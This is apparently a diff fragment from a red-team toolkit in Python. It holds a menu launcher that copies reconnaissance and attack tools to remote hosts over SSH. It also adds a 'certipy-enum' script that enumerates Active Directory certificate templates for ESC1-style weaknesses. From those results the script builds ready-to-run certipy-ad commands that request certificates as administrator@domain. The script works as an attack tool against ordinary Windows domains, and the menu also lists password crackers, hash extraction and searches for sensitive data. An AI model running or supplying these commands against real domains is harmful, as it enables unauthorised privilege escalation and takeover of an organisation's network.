scp_cmd.append(f"{ssh_user}@{host}:{remote_dir}/")
|
||||
|
||||
result = subprocess.run(scp_cmd, capture_output=True, text=True)
|
||||
if result.returncode == 0:
|
||||
print(f" {COLORS['GREEN']}Deployed: {tool_name}{COLORS['RESET']}")
|
||||
deployed.append(tool_name)
|
||||
else:
|
||||
print(f" {COLORS['RED']}Failed: {tool_name} — {result.stderr[:100]}{COLORS['RESET']}")
|
||||
|
||||
# Install deps for deployed tools
|
||||
all_deps = set()
|
||||
for tool_name in deployed:
|
||||
info = TOOLS.get(tool_name, {})
|
||||
all_deps.update(info.get("deps", []))
|
||||
|
||||
if all_deps:
|
||||
deps_str = " ".join(sorted(all_deps))
|
||||
print(f"\n Installing dependencies: {deps_str}")
|
||||
install_cmd = _build_ssh_cmd(host, ssh_user, ssh_key,
|
||||
f"pip3 install {deps_str} 2>/dev/null || pip install {deps_str}")
|
||||
subprocess.run(install_cmd, capture_output=True, text=True, timeout=120)
|
||||
|
||||
if deployed:
|
||||
print(f"\n{COLORS['GREEN']}Deployed {len(deployed)} Red Team tools to {host}{COLORS['RESET']}")
|
||||
log_deployment(host, deployed, ssh_user, ssh_key or "default")
|
||||
return len(deployed) > 0
|
||||
|
||||
|
||||
def ssh_run_tool(host, ssh_user, ssh_key, tool_path, interactive=True):
|
||||
"""SSH into a remote machine and run a tool."""
|
||||
if interactive:
|
||||
cmd = _build_ssh_cmd(host, ssh_user, ssh_key, f"cd {os.path.dirname(tool_path)} && python3 {tool_path}",
|
||||
interactive=True)
|
||||
else:
|
||||
cmd = _build_ssh_cmd(host, ssh_user, ssh_key, f"python3 {tool_path}")
|
||||
|
||||
print(f"\n{COLORS['CYAN']}Connecting to {ssh_user}@{host}...{COLORS['RESET']}")
|
||||
try:
|
||||
subprocess.run(cmd)
|
||||
except KeyboardInterrupt:
|
||||
print(f"\n{COLORS['YELLOW']}Session ended{COLORS['RESET']}")
|
||||
|
||||
|
||||
def check_remote_tools(host, ssh_user, ssh_key):
|
||||
"""Check which tools are installed on a remote machine."""
|
||||
print(f"\n{COLORS['CYAN']}Checking tools on {ssh_user}@{host}...{COLORS['RESET']}\n")
|
||||
|
||||
# Check Umbra
|
||||
check_cmd = _build_ssh_cmd(host, ssh_user, ssh_key,
|
||||
"ls /opt/umbra/*.py 2>/dev/null && echo '---DIVIDER---' && ls /opt/redteam/*/ 2>/dev/null")
|
||||
result = subprocess.run(check_cmd, capture_output=True, text=True)
|
||||
|
||||
if result.returncode != 0:
|
||||
print(f"{COLORS['YELLOW']}Could not connect or no tools found{COLORS['RESET']}")
|
||||
return
|
||||
|
||||
output = result.stdout
|
||||
if "---DIVIDER---" in output:
|
||||
umbra_part, redteam_part = output.split("---DIVIDER---", 1)
|
||||
else:
|
||||
umbra_part = output
|
||||
redteam_part = ""
|
||||
|
||||
print(f" {COLORS['WHITE']}Umbra Suite:{COLORS['RESET']}")
|
||||
if umbra_part.strip():
|
||||
for line in umbra_part.strip().splitlines():
|
||||
fname = os.path.basename(line.strip())
|
||||
print(f" {COLORS['GREEN']}FOUND{COLORS['RESET']} {fname}")
|
||||
else:
|
||||
print(f" {COLORS['RED']}Not installed{COLORS['RESET']}")
|
||||
|
||||
print(f"\n {COLORS['WHITE']}Red Team Tools:{COLORS['RESET']}")
|
||||
if redteam_part.strip():
|
||||
for line in redteam_part.strip().splitlines():
|
||||
print(f" {COLORS['GREEN']}FOUND{COLORS['RESET']} {line.strip()}")
|
||||
else:
|
||||
print(f" {COLORS['RED']}Not installed{COLORS['RESET']}")
|
||||
|
||||
|
||||
# ─── Menu Functions ─────────────────────────────────────────────────────────
|
||||
|
||||
def umbra_submenu():
|
||||
"""Submenu for Umbra Reconnaissance Suite."""
|
||||
while True:
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}UMBRA RECONNAISSANCE SUITE{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}=========================={COLORS['RESET']}")
|
||||
print(f"1) um-scan — TCP Port Scanner")
|
||||
print(f"2) um-api — API Endpoint Discovery")
|
||||
print(f"3) um-intel — OSINT Aggregator")
|
||||
print(f"4) um-enum — URL Enumeration")
|
||||
print(f"5) um-fuzz — Directory Fuzzer")
|
||||
print(f"6) um-hash — Hash Extraction")
|
||||
print(f"7) um-wp — WordPress Scanner")
|
||||
print(f"8) um-crack — Password Cracker")
|
||||
print(f"9) um-exif — EXIF Metadata")
|
||||
print(f"10) um-vault — Database Manager")
|
||||
print(f"99) Back")
|
||||
|
||||
choice = input(f"\nSelect: ").strip()
|
||||
|
||||
tool_map = {
|
||||
"1": "um-scan", "2": "um-api", "3": "um-intel",
|
||||
"4": "um-enum", "5": "um-fuzz", "6": "um-hash",
|
||||
"7": "um-wp", "8": "um-crack", "9": "um-exif",
|
||||
"10": "um-vault",
|
||||
}
|
||||
|
||||
if choice == "99":
|
||||
return
|
||||
elif choice in tool_map:
|
||||
launch_local_tool(tool_map[choice])
|
||||
wait_for_input()
|
||||
else:
|
||||
print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
|
||||
def redteam_submenu():
|
||||
"""Submenu for Red Team Operations Tools."""
|
||||
while True:
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}RED TEAM OPERATIONS TOOLS{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}========================={COLORS['RESET']}")
|
||||
print(f"1) TrashPanda — Network Enumeration")
|
||||
print(f"2) IOC-U — Blue Team Detection & Intel")
|
||||
print(f"3) Lions-Share — SSHFS Mount & Backup")
|
||||
print(f"4) micro-scope — Scope Verification")
|
||||
print(f"5) linkedout — LinkedIn OSINT")
|
||||
print(f"6) ops-logger — Terminal Session Logging")
|
||||
print(f"7) freebird — MITRE ATT&CK Framework")
|
||||
print(f"8) regex-search — Sensitive Data Search")
|
||||
print(f"9) certipy-enum — ADCS Enumeration")
|
||||
print(f"10) ping-sweep — Network Discovery")
|
||||
print(f"99) Back")
|
||||
|
||||
choice = input(f"\nSelect: ").strip()
|
||||
|
||||
tool_map = {
|
||||
"1": "trashpanda", "2": "ioc-u", "3": "lions-share",
|
||||
"4": "micro-scope", "5": "linkedout", "6": "ops-logger",
|
||||
"7": "freebird", "8": "regex-search", "9": "certipy-enum",
|
||||
"10": "ping-sweep",
|
||||
}
|
||||
|
||||
if choice == "99":
|
||||
return
|
||||
elif choice in tool_map:
|
||||
launch_local_tool(tool_map[choice])
|
||||
wait_for_input()
|
||||
else:
|
||||
print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
|
||||
def remote_submenu():
|
||||
"""Submenu for Remote Deployment."""
|
||||
while True:
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}REMOTE DEPLOYMENT{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}================={COLORS['RESET']}")
|
||||
print(f"1) Deploy Umbra Suite to Remote Machine")
|
||||
print(f"2) Deploy Red Team Tools to Remote Machine")
|
||||
print(f"3) Deploy All Tools to Remote Machine")
|
||||
print(f"4) SSH into Remote & Run Umbra")
|
||||
print(f"5) SSH into Remote & Run Tool")
|
||||
print(f"6) Check Remote Tool Status")
|
||||
print(f"99) Back")
|
||||
|
||||
choice = input(f"\nSelect: ").strip()
|
||||
|
||||
if choice == "99":
|
||||
return
|
||||
|
||||
elif choice == "1":
|
||||
host, ssh_user, ssh_key = select_target_host()
|
||||
if host:
|
||||
deploy_umbra_remote(host, ssh_user, ssh_key)
|
||||
wait_for_input()
|
||||
|
||||
elif choice == "2":
|
||||
host, ssh_user, ssh_key = select_target_host()
|
||||
if host:
|
||||
deploy_redteam_remote(host, ssh_user, ssh_key)
|
||||
wait_for_input()
|
||||
|
||||
elif choice == "3":
|
||||
host, ssh_user, ssh_key = select_target_host()
|
||||
if host:
|
||||
deploy_umbra_remote(host, ssh_user, ssh_key)
|
||||
deploy_redteam_remote(host, ssh_user, ssh_key)
|
||||
wait_for_input()
|
||||
|
||||
elif choice == "4":
|
||||
# SSH into remote and run Umbra launcher
|
||||
deployments = get_deployments()
|
||||
if not deployments:
|
||||
host, ssh_user, ssh_key = select_target_host()
|
||||
else:
|
||||
print(f"\n{COLORS['CYAN']}Known deployments:{COLORS['RESET']}")
|
||||
for i, d in enumerate(deployments, 1):
|
||||
print(f" {i}) {d['host']} ({d['ssh_user']}@) — deployed {d['timestamp']}")
|
||||
print(f" {len(deployments) + 1}) Other host")
|
||||
|
||||
sel = input(f"\n Select: ").strip()
|
||||
try:
|
||||
idx = int(sel) - 1
|
||||
if 0 <= idx < len(deployments):
|
||||
d = deployments[idx]
|
||||
host = d["host"]
|
||||
ssh_user = d["ssh_user"]
|
||||
ssh_key = d["ssh_key"] if d["ssh_key"] != "default" else None
|
||||
else:
|
||||
host, ssh_user, ssh_key = select_target_host()
|
||||
except ValueError:
|
||||
host, ssh_user, ssh_key = select_target_host()
|
||||
|
||||
if host:
|
||||
ssh_run_tool(host, ssh_user, ssh_key, "/opt/umbra/umbra.py")
|
||||
wait_for_input()
|
||||
|
||||
elif choice == "5":
|
||||
# SSH into remote and run a specific tool
|
||||
host, ssh_user, ssh_key = select_target_host()
|
||||
if not host:
|
||||
wait_for_input()
|
||||
continue
|
||||
|
||||
print(f"\n{COLORS['CYAN']}Select tool to run:{COLORS['RESET']}")
|
||||
all_tools = list(TOOLS.keys())
|
||||
for i, name in enumerate(all_tools, 1):
|
||||
info = TOOLS[name]
|
||||
status = f"{COLORS['GREEN']}LOCAL{COLORS['RESET']}" if os.path.exists(info["path"]) else f"{COLORS['RED']}MISSING{COLORS['RESET']}"
|
||||
print(f" {i:2d}) {name:16s} — {info['desc']} [{status}]")
|
||||
|
||||
sel = input(f"\n Select tool #: ").strip()
|
||||
try:
|
||||
idx = int(sel) - 1
|
||||
if 0 <= idx < len(all_tools):
|
||||
tool_name = all_tools[idx]
|
||||
info = TOOLS[tool_name]
|
||||
# Determine remote path
|
||||
if tool_name in UMBRA_TOOLS:
|
||||
remote_path = f"/opt/umbra/{os.path.basename(info['path'])}"
|
||||
else:
|
||||
remote_path = f"/opt/redteam/{tool_name}/{os.path.basename(info['path'])}"
|
||||
ssh_run_tool(host, ssh_user, ssh_key, remote_path)
|
||||
except (ValueError, IndexError):
|
||||
print(f"{COLORS['RED']}Invalid selection{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
elif choice == "6":
|
||||
host, ssh_user, ssh_key = select_target_host()
|
||||
if host:
|
||||
check_remote_tools(host, ssh_user, ssh_key)
|
||||
wait_for_input()
|
||||
|
||||
else:
|
||||
print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
|
||||
def ops_submenu():
|
||||
"""Submenu for Ops Dashboard & Engagement Management."""
|
||||
while True:
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}OPS & ENGAGEMENT MANAGEMENT{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}============================{COLORS['RESET']}")
|
||||
print(f"1) Ops Dashboard — Real-Time Engagement Monitor")
|
||||
print(f"2) Ops Bridge — Sync State from Remote Hosts")
|
||||
print(f"3) Heartbeat Ingest — Receive Host Check-Ins")
|
||||
print(f"4) Umbra tmux — Launch tmux Workspace")
|
||||
print(f"99) Back")
|
||||
|
||||
choice = input(f"\nSelect: ").strip()
|
||||
|
||||
if choice == "99":
|
||||
return
|
||||
elif choice == "1":
|
||||
launch_local_tool("ops-dashboard")
|
||||
wait_for_input()
|
||||
elif choice == "2":
|
||||
launch_local_tool("ops-bridge")
|
||||
wait_for_input()
|
||||
elif choice == "3":
|
||||
launch_local_tool("heartbeat-ingest")
|
||||
wait_for_input()
|
||||
elif choice == "4":
|
||||
_launch_umbra_tmux()
|
||||
wait_for_input()
|
||||
else:
|
||||
print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
|
||||
def _launch_umbra_tmux():
|
||||
"""Prompt for engagement and launch Umbra in tmux mode."""
|
||||
engagement = input(f"\n Engagement name: ").strip()
|
||||
if not engagement:
|
||||
print(f"{COLORS['YELLOW']}No engagement specified.{COLORS['RESET']}")
|
||||
return
|
||||
umbra_script = os.path.join(UMBRA_PATH, "umbra.py")
|
||||
if not os.path.exists(umbra_script):
|
||||
print(f"{COLORS['RED']}Umbra launcher not found at {umbra_script}{COLORS['RESET']}")
|
||||
return
|
||||
try:
|
||||
subprocess.run([sys.executable, umbra_script, "-E", engagement, "--tmux", "--dashboard"])
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
|
||||
|
||||
def _forensics_submenu():
|
||||
"""Submenu for Forensics & Malware Analysis tools."""
|
||||
# Delegate to the forensics module for full functionality
|
||||
forensics_module_path = os.path.join(
|
||||
os.path.dirname(__file__), '..', 'forensics', 'deploy_forensics.py'
|
||||
)
|
||||
if os.path.exists(forensics_module_path):
|
||||
import importlib.util
|
||||
spec = importlib.util.spec_from_file_location('deploy_forensics', forensics_module_path)
|
||||
mod = importlib.util.module_from_spec(spec)
|
||||
spec.loader.exec_module(mod)
|
||||
mod.forensics_menu()
|
||||
else:
|
||||
# Fallback: launch tools directly
|
||||
while True:
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}FORENSICS & MALWARE ANALYSIS{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}============================={COLORS['RESET']}")
|
||||
print(f"1) IR-Sandbox (Interactive Menu)")
|
||||
print(f"2) Link-Sandbox (URL Analysis)")
|
||||
print(f"99) Back")
|
||||
|
||||
choice = input(f"\nSelect: ").strip()
|
||||
if choice == "99":
|
||||
return
|
||||
elif choice == "1":
|
||||
launch_local_tool("ir-sandbox")
|
||||
wait_for_input()
|
||||
elif choice == "2":
|
||||
launch_local_tool("link-sandbox")
|
||||
wait_for_input()
|
||||
else:
|
||||
print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
|
||||
def recon_tools_menu():
|
||||
"""Main entry point — called from c2itall deploy.py tools_menu()."""
|
||||
while True:
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}RECON & RED TEAM TOOLS{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}======================{COLORS['RESET']}")
|
||||
|
||||
# Show local tool status summary
|
||||
umbra_found = sum(1 for t in UMBRA_TOOLS if check_tool_status(t))
|
||||
redteam_found = sum(1 for t in REDTEAM_TOOLS if check_tool_status(t))
|
||||
ops_found = sum(1 for t in OPS_TOOLS if check_tool_status(t))
|
||||
print(f" Local: Umbra {COLORS['GREEN']}{umbra_found}/{len(UMBRA_TOOLS)}{COLORS['RESET']} | "
|
||||
f"Red Team {COLORS['GREEN']}{redteam_found}/{len(REDTEAM_TOOLS)}{COLORS['RESET']} | "
|
||||
f"Ops {COLORS['CYAN']}{ops_found}/{len(OPS_TOOLS)}{COLORS['RESET']}")
|
||||
print()
|
||||
|
||||
print(f"1) Umbra Reconnaissance Suite {COLORS['GREEN']}({umbra_found} tools){COLORS['RESET']}")
|
||||
print(f"2) Red Team Operations Tools {COLORS['GREEN']}({redteam_found} tools){COLORS['RESET']}")
|
||||
print(f"3) Remote Deployment & SSH")
|
||||
print(f"4) Ops & Engagement Management {COLORS['CYAN']}(Dashboard, Bridge, Heartbeat){COLORS['RESET']}")
|
||||
print(f"5) Forensics & Sandbox {COLORS['YELLOW']}(IR-Sandbox, Link-Sandbox){COLORS['RESET']}")
|
||||
print(f"99) Return to Tools Menu")
|
||||
|
||||
choice = input(f"\nSelect: ").strip()
|
||||
|
||||
if choice == "1":
|
||||
umbra_submenu()
|
||||
elif choice == "2":
|
||||
redteam_submenu()
|
||||
elif choice == "3":
|
||||
remote_submenu()
|
||||
elif choice == "4":
|
||||
ops_submenu()
|
||||
elif choice == "5":
|
||||
_forensics_submenu()
|
||||
elif choice == "99":
|
||||
return
|
||||
else:
|
||||
print(f"\n{COLORS['RED']}Invalid option{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
@@ -0,0 +1,353 @@
|
||||
#!/usr/bin/env python3
|
||||
import subprocess
|
||||
import re
|
||||
import sys
|
||||
import os
|
||||
import glob
|
||||
import json
|
||||
|
||||
# Ops hook (safe no-op if c2itall not available)
|
||||
try:
|
||||
sys.path.insert(0, os.path.expanduser("~/tools/c2itall"))
|
||||
from utils.ops_hook import OpsHook as _OpsHook
|
||||
except ImportError:
|
||||
_OpsHook = None
|
||||
|
||||
def run_command(cmd):
|
||||
"""Run a command and return its output"""
|
||||
try:
|
||||
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60)
|
||||
return result.stdout, result.stderr, result.returncode
|
||||
except subprocess.TimeoutExpired:
|
||||
return "", "Command timed out", 1
|
||||
|
||||
def read_latest_certipy_files():
|
||||
"""Read the latest certipy output files"""
|
||||
txt_files = glob.glob("*_Certipy.txt")
|
||||
json_files = glob.glob("*_Certipy.json")
|
||||
|
||||
txt_content = ""
|
||||
json_content = {}
|
||||
|
||||
if txt_files:
|
||||
latest_txt = max(txt_files, key=os.path.getctime)
|
||||
try:
|
||||
with open(latest_txt, 'r', encoding='utf-8') as f:
|
||||
txt_content = f.read()
|
||||
except:
|
||||
txt_content = ""
|
||||
|
||||
if json_files:
|
||||
latest_json = max(json_files, key=os.path.getctime)
|
||||
try:
|
||||
with open(latest_json, 'r', encoding='utf-8') as f:
|
||||
json_content = json.load(f)
|
||||
except Exception as e:
|
||||
print(f"[!] Error reading JSON: {e}")
|
||||
# Try reading as text and debugging
|
||||
try:
|
||||
with open(latest_json, 'r', encoding='utf-8') as f:
|
||||
raw_content = f.read()
|
||||
pass # raw content available for debugging if needed
|
||||
except:
|
||||
pass
|
||||
json_content = {}
|
||||
|
||||
return txt_content, json_content
|
||||
|
||||
def parse_cas_from_json(json_data):
|
||||
"""Extract CAs from JSON data - looking for CA Name field"""
|
||||
cas = []
|
||||
try:
|
||||
if "Certificate Authorities" in json_data:
|
||||
ca_section = json_data["Certificate Authorities"]
|
||||
if isinstance(ca_section, dict):
|
||||
for key, ca_info in ca_section.items():
|
||||
if isinstance(ca_info, dict) and "CA Name" in ca_info:
|
||||
cas.append(ca_info["CA Name"])
|
||||
except Exception as e:
|
||||
print(f"[!] Error parsing CAs: {e}")
|
||||
return cas
|
||||
|
||||
def parse_templates_from_json(json_data):
|
||||
"""
|
||||
Extract templates and identify vulnerabilities:
|
||||
- ESC1: Enrollee Supplies Subject = True + Enabled + User can enroll
|
||||
- ESC2/ESC3: Look in [*] Remarks section
|
||||
- User Enrollable: Look for [+] User Enrollable Principals
|
||||
"""
|
||||
all_templates = []
|
||||
vulnerable_templates = []
|
||||
user_enrollable_templates = []
|
||||
esc1_templates = []
|
||||
|
||||
try:
|
||||
if "Certificate Templates" in json_data:
|
||||
template_section = json_data["Certificate Templates"]
|
||||
if isinstance(template_section, dict):
|
||||
for template_key, template_info in template_section.items():
|
||||
if isinstance(template_info, dict) and "Template Name" in template_info:
|
||||
template_name = template_info["Template Name"]
|
||||
all_templates.append(template_name)
|
||||
|
||||
# Check if enabled
|
||||
is_enabled = template_info.get("Enabled", False)
|
||||
|
||||
# Check for ESC1: Enrollee Supplies Subject + enabled
|
||||
enrollee_supplies = template_info.get("Enrollee Supplies Subject", False)
|
||||
if enrollee_supplies and is_enabled:
|
||||
esc1_templates.append(template_name)
|
||||
vulnerable_templates.append(f"{template_name} (ESC1)")
|
||||
|
||||
# Check for vulnerabilities in [*] Remarks
|
||||
if "[*] Remarks" in template_info:
|
||||
remarks = template_info["[*] Remarks"]
|
||||
if isinstance(remarks, dict):
|
||||
for remark_key in remarks.keys():
|
||||
if "ESC" in str(remark_key):
|
||||
if template_name not in [v.split(' ')[0] for v in vulnerable_templates]:
|
||||
vulnerable_templates.append(f"{template_name} ({remark_key.split()[0]})")
|
||||
|
||||
# Check for [+] User Enrollable Principals
|
||||
if "[+] User Enrollable Principals" in template_info:
|
||||
user_enrollable_templates.append(template_name)
|
||||
|
||||
except Exception as e:
|
||||
print(f"[!] Error parsing templates: {e}")
|
||||
|
||||
return all_templates, vulnerable_templates, user_enrollable_templates, esc1_templates
|
||||
|
||||
def parse_targets_from_json(json_data):
|
||||
"""Extract CA DNS names for targeting"""
|
||||
targets = []
|
||||
try:
|
||||
if "Certificate Authorities" in json_data:
|
||||
ca_section = json_data["Certificate Authorities"]
|
||||
if isinstance(ca_section, dict):
|
||||
for key, ca_info in ca_section.items():
|
||||
if isinstance(ca_info, dict) and "DNS Name" in ca_info:
|
||||
targets.append(ca_info["DNS Name"])
|
||||
except Exception as e:
|
||||
print(f"[!] Error parsing targets: {e}")
|
||||
return targets
|
||||
|
||||
def parse_esc_vulnerabilities(json_data):
|
||||
"""Extract ESC vulnerabilities from CA and template remarks"""
|
||||
esc_vulns = []
|
||||
try:
|
||||
# CA level ESC (like ESC8)
|
||||
if "Certificate Authorities" in json_data:
|
||||
ca_section = json_data["Certificate Authorities"]
|
||||
if isinstance(ca_section, dict):
|
||||
for key, ca_info in ca_section.items():
|
||||
if isinstance(ca_info, dict) and "[*] Remarks" in ca_info:
|
||||
remarks = ca_info["[*] Remarks"]
|
||||
if isinstance(remarks, dict):
|
||||
for remark_key in remarks.keys():
|
||||
if "ESC" in str(remark_key):
|
||||
esc_vulns.append(remark_key)
|
||||
|
||||
# Template level ESC
|
||||
if "Certificate Templates" in json_data:
|
||||
template_section = json_data["Certificate Templates"]
|
||||
if isinstance(template_section, dict):
|
||||
for template_key, template_info in template_section.items():
|
||||
if isinstance(template_info, dict) and "[*] Remarks" in template_info:
|
||||
remarks = template_info["[*] Remarks"]
|
||||
if isinstance(remarks, dict):
|
||||
for remark_key in remarks.keys():
|
||||
if "ESC" in str(remark_key):
|
||||
esc_vulns.append(remark_key)
|
||||
|
||||
except Exception as e:
|
||||
print(f"[!] Error parsing ESC vulnerabilities: {e}")
|
||||
|
||||
return list(set(esc_vulns))
|
||||
|
||||
def get_template_permissions(json_data, template_name):
|
||||
"""Get who can enroll in this template"""
|
||||
try:
|
||||
if "Certificate Templates" in json_data:
|
||||
template_section = json_data["Certificate Templates"]
|
||||
if isinstance(template_section, dict):
|
||||
for template_key, template_info in template_section.items():
|
||||
if isinstance(template_info, dict) and template_info.get("Template Name") == template_name:
|
||||
# Look for enrollment rights
|
||||
permissions = template_info.get("Permissions", {})
|
||||
if isinstance(permissions, dict):
|
||||
enrollment_perms = permissions.get("Enrollment Permissions", {})
|
||||
if isinstance(enrollment_perms, dict):
|
||||
enrollment_rights = enrollment_perms.get("Enrollment Rights", [])
|
||||
return enrollment_rights if isinstance(enrollment_rights, list) else []
|
||||
except Exception as e:
|
||||
print(f"[!] Error getting permissions for {template_name}: {e}")
|
||||
return []
|
||||
|
||||
def get_enabled_templates(json_data):
|
||||
"""Get list of enabled templates"""
|
||||
enabled_templates = []
|
||||
try:
|
||||
if "Certificate Templates" in json_data:
|
||||
template_section = json_data["Certificate Templates"]
|
||||
if isinstance(template_section, dict):
|
||||
for template_key, template_info in template_section.items():
|
||||
if isinstance(template_info, dict):
|
||||
template_name = template_info.get("Template Name", "")
|
||||
is_enabled = template_info.get("Enabled", False)
|
||||
if is_enabled and template_name:
|
||||
enabled_templates.append(template_name)
|
||||
except Exception as e:
|
||||
print(f"[!] Error getting enabled templates: {e}")
|
||||
return enabled_templates
|
||||
|
||||
def main():
|
||||
# Ops hook
|
||||
_hook = _OpsHook("certipy-enum") if _OpsHook else None
|
||||
if _hook:
|
||||
_hook.register()
|
||||
|
||||
print("=" * 60)
|
||||
print("CERTIPY-AD CERTIFICATE ATTACK BUILDER v2.3")
|
||||
print("=" * 60)
|
||||
|
||||
# Get user input
|
||||
username = input("Enter username (user@domain.com): ")
|
||||
password = input("Enter password: ")
|
||||
dc_ip = input("Enter DC IP: ")
|
||||
|
||||
print("\n[*] Running certipy-ad enumeration...")
|
||||
|
||||
# Pass password via environment variable — keeps it out of process list and logs
|
||||
os.environ['_CERTIPY_PASS'] = password
|
||||
find_cmd = f"certipy-ad find -username {username} -password \"$_CERTIPY_PASS\" -dc-ip {dc_ip}"
|
||||
vuln_cmd = f"certipy-ad find -username {username} -password \"$_CERTIPY_PASS\" -dc-ip {dc_ip} -vulnerable"
|
||||
|
||||
# Run basic enumeration
|
||||
print("[*] Finding Certificate Authorities and basic info...")
|
||||
stdout, stderr, returncode = run_command(find_cmd)
|
||||
|
||||
if returncode != 0:
|
||||
os.environ.pop('_CERTIPY_PASS', None)
|
||||
print(f"[!] Error running certipy-ad find: {stderr}")
|
||||
return
|
||||
|
||||
# Run vulnerability scan
|
||||
print("[*] Scanning for vulnerable templates...")
|
||||
vuln_stdout, vuln_stderr, vuln_returncode = run_command(vuln_cmd)
|
||||
os.environ.pop('_CERTIPY_PASS', None)
|
||||
|
||||
# Read the saved files
|
||||
print("[*] Reading certipy output files...")
|
||||
txt_content, json_content = read_latest_certipy_files()
|
||||
|
||||
if not json_content:
|
||||
print("[!] No JSON data found. Check the certipy output files manually.")
|
||||
return
|
||||
|
||||
# Parse results from JSON
|
||||
cas = parse_cas_from_json(json_content)
|
||||
all_templates, vulnerable_templates, user_enrollable_templates, esc1_templates = parse_templates_from_json(json_content)
|
||||
targets = parse_targets_from_json(json_content)
|
||||
esc_vulns = parse_esc_vulnerabilities(json_content)
|
||||
enabled_templates = get_enabled_templates(json_content)
|
||||
|
||||
# Display results
|
||||
print("\n" + "=" * 60)
|
||||
print("ENUMERATION RESULTS")
|
||||
print("=" * 60)
|
||||
|
||||
print(f"\n[+] CERTIFICATE AUTHORITIES ({len(cas)} found):")
|
||||
for i, ca in enumerate(cas, 1):
|
||||
print(f" {i}. {ca}")
|
||||
|
||||
print(f"\n[+] CA TARGETS/DNS NAMES ({len(targets)} found):")
|
||||
for i, target in enumerate(targets, 1):
|
||||
print(f" {i}. {target}")
|
||||
|
||||
print(f"\n[+] ESC VULNERABILITIES FOUND ({len(esc_vulns)} found):")
|
||||
for esc in esc_vulns:
|
||||
print(f" - {esc}")
|
||||
|
||||
print(f"\n[+] VULNERABLE TEMPLATES ({len(vulnerable_templates)} found):")
|
||||
for i, template in enumerate(vulnerable_templates, 1):
|
||||
print(f" {i}. {template}")
|
||||
|
||||
print(f"\n[+] USER ENROLLABLE TEMPLATES ({len(user_enrollable_templates)} found):")
|
||||
for i, template in enumerate(user_enrollable_templates, 1):
|
||||
permissions = get_template_permissions(json_content, template)
|
||||
perms_str = ', '.join(permissions) if permissions else "Check manually"
|
||||
print(f" {i}. {template} -> {perms_str}")
|
||||
|
||||
print(f"\n[+] ESC1 TEMPLATES (Enrollee Supplies Subject) ({len(esc1_templates)} found):")
|
||||
for i, template in enumerate(esc1_templates, 1):
|
||||
print(f" {i}. {template}")
|
||||
|
||||
print(f"\n[+] ENABLED TEMPLATES ({len(enabled_templates)} found):")
|
||||
for i, template in enumerate(enabled_templates[:10], 1):
|
||||
print(f" {i}. {template}")
|
||||
if len(enabled_templates) > 10:
|
||||
print(f" ... and {len(enabled_templates) - 10} more enabled templates")
|
||||
|
||||
# Build attack commands
|
||||
if cas and targets:
|
||||
domain = username.split('@')[1] if '@' in username else 'company.com'
|
||||
|
||||
print("\n" + "=" * 60)
|
||||
print("RECOMMENDED ATTACK COMMANDS")
|
||||
print("=" * 60)
|
||||
|
||||
ca_name = cas[0]
|
||||
target_name = targets[0]
|
||||
|
||||
# Priority: ESC1 templates, then user enrollable, then common enabled ones
|
||||
priority_templates = []
|
||||
|
||||
# Add ESC1 templates first (highest priority)
|
||||
for template in esc1_templates:
|
||||
if template not in priority_templates:
|
||||
priority_templates.append(template)
|
||||
|
||||
# Add user enrollable templates
|
||||
for template in user_enrollable_templates:
|
||||
if template not in priority_templates:
|
||||
priority_templates.append(template)
|
||||
|
||||
# Add common templates if they're enabled
|
||||
common_templates = ["User", "Machine", "WebServer", "AutoenrolledUser"]
|
||||
for template in common_templates:
|
||||
if template in enabled_templates and template not in priority_templates:
|
||||
priority_templates.append(template)
|
||||
|
||||
# Limit to top 5
|
||||
priority_templates = priority_templates[:5]
|
||||
|
||||
if not priority_templates:
|
||||
priority_templates = enabled_templates[:3]
|
||||
|
||||
print(f"\n[*] Using CA: {ca_name}")
|
||||
print(f"[*] Using Target: {target_name}")
|
||||
print(f"[*] Domain Controller: Use {dc_ip} for authentication after getting certificate")
|
||||
|
||||
for i, template in enumerate(priority_templates, 1):
|
||||
permissions = get_template_permissions(json_content, template)
|
||||
print(f"\n[{i}] Template: {template}")
|
||||
if permissions:
|
||||
print(f" Permissions: {', '.join(permissions)}")
|
||||
else:
|
||||
print(f" Permissions: Check manually")
|
||||
|
||||
cmd = f"certipy-ad req -username {username} -password '{password}' -ca '{ca_name}' -target {target_name} -template '{template}' -upn administrator@{domain}"
|
||||
print(f" Command: {cmd}")
|
||||
|
||||
print(f"\n[*] Output files created:")
|
||||
txt_files = glob.glob("*_Certipy.txt")
|
||||
json_files = glob.glob("*_Certipy.json")
|
||||
for f in sorted(txt_files[-2:] + json_files[-2:]):
|
||||
print(f" - {f}")
|
||||
|
||||
else:
|
||||
print("\n[!] Insufficient data found for building attack commands.")
|
||||
print(" Try running the commands manually with known templates.")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,53 @@
|
||||
# core/main_menu.py
|
||||
|
||||
from InquirerPy import inquirer
|
||||
from core.utils import clear_screen
|
||||
from core.config import config
|
||||
